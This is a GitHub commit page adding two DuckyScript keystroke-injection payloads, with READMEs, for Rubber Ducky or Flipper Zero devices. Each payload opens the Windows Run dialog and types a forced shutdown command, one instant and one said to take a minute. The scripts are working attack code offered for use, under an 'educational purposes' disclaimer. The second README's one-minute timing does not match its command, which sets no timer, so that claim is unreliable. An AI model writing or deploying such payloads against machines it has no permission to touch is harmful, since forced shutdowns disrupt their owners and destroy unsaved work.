-
-
Notifications
You must be signed in to change notification settings - Fork 92
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #16 from NexusWannaBe/NexusWannaBe-NewPayloads
Shutdown Files by NexusWannaBe
- Loading branch information
Showing
6 changed files
with
76 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
24 changes: 24 additions & 0 deletions
24
Windows/Execution/Immediate_Shutdown-By_NexusWannaBe/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# Immediate Shutdown - By NexusWannaBe | ||
|
||
This DuckyScript, created by [NexusWannaBe](https://github.com/NexusWannaBe), is designed to **immediately shut down** a Windows system upon inserting a Rubber Ducky or any compatible DuckyScript device. The script opens the **cmd** terminal and issues a shutdown command with no delay, causing the system to shut down immediately. | ||
|
||
## How it works | ||
|
||
The script follows these steps: | ||
1. Waits for 1 second (`DELAY 1000`). | ||
2. Uses the **Windows + R** shortcut to open the "Run" dialog. | ||
3. Types `cmd` to open the command prompt. | ||
4. Waits half a second and presses **Enter**. | ||
5. Once the terminal is open, it types `shutdown /s /f /t 0`, which forces an immediate shutdown with zero delay. | ||
6. The system shuts down immediately without further input. | ||
|
||
### Shutdown command: | ||
- `shutdown /s /f /t 0`: forces an immediate shutdown of Windows, closing all running applications without warning or delay. | ||
- `/s`: initiates the shutdown. | ||
- `/f`: forces running applications to close. | ||
- `/t 0`: sets the shutdown timer to zero, making it instantaneous. | ||
|
||
## Warnings | ||
|
||
- **Use with caution!** This script shuts down the system instantly, with no chance to save open files or processes. | ||
- This script is for educational purposes and should only be used legally and with permission from the system owner. |
11 changes: 11 additions & 0 deletions
11
Windows/Execution/Immediate_Shutdown-By_NexusWannaBe/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
REM Title: Immediate Shutdown | ||
REM Developer: NexusWannaBe | ||
|
||
DELAY 1000 | ||
GUI r | ||
DELAY 500 | ||
STRING cmd | ||
ENTER | ||
DELAY 1000 | ||
STRING shutdown /s /f /t 0 | ||
ENTER |
22 changes: 22 additions & 0 deletions
22
Windows/Execution/Shutdown_After_1_Minute-By_NexusWannaBe/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
# Shutdown After 1 Minute - By NexusWannaBe | ||
|
||
This DuckyScript, created by [NexusWannaBe](https://github.com/NexusWannaBe), is designed to force a Windows system shutdown after one minute from the insertion of your Flipper Zero or any compatible DuckyScript device. The script opens the **cmd** terminal and sends the shutdown command to the system. | ||
|
||
## How it works | ||
|
||
The script performs the following steps: | ||
1. Waits for 1 second (`DELAY 1000`). | ||
2. Uses the **Windows + R** combination to open the "Run" dialog. | ||
3. Types `cmd` to open the command prompt. | ||
4. Waits for half a second and then presses **Enter**. | ||
5. Once the terminal is open, it types the command `shutdown /s /f && exit`, which forces the computer to shut down and closes the terminal. | ||
6. Confirms the shutdown by pressing **Enter**. The system will shut down within 60 seconds. | ||
|
||
### Shutdown command: | ||
- `shutdown /s /f`: forces an immediate shutdown of Windows, closing all running applications without warning. | ||
- `&& exit`: closes the terminal after issuing the shutdown command. | ||
|
||
## Warnings | ||
|
||
- **Use this script responsibly!** Forcing a shutdown can result in data loss if files are not saved. | ||
- This script is intended for educational purposes only and should only be used with permission from the owner of the device and in compliance with the law. |
13 changes: 13 additions & 0 deletions
13
Windows/Execution/Shutdown_After_1_Minute-By_NexusWannaBe/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,13 @@ | ||
REM Title: Shutdown After 1 Minute | ||
REM Developer: NexusWannaBe | ||
|
||
DELAY 1000 | ||
GUI r | ||
DELAY 500 | ||
STRING cmd | ||
ENTER | ||
DELAY 1000 | ||
STRING shutdown /s /f && exit | ||
ENTER | ||
DELAY 1000 | ||
ENTER |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters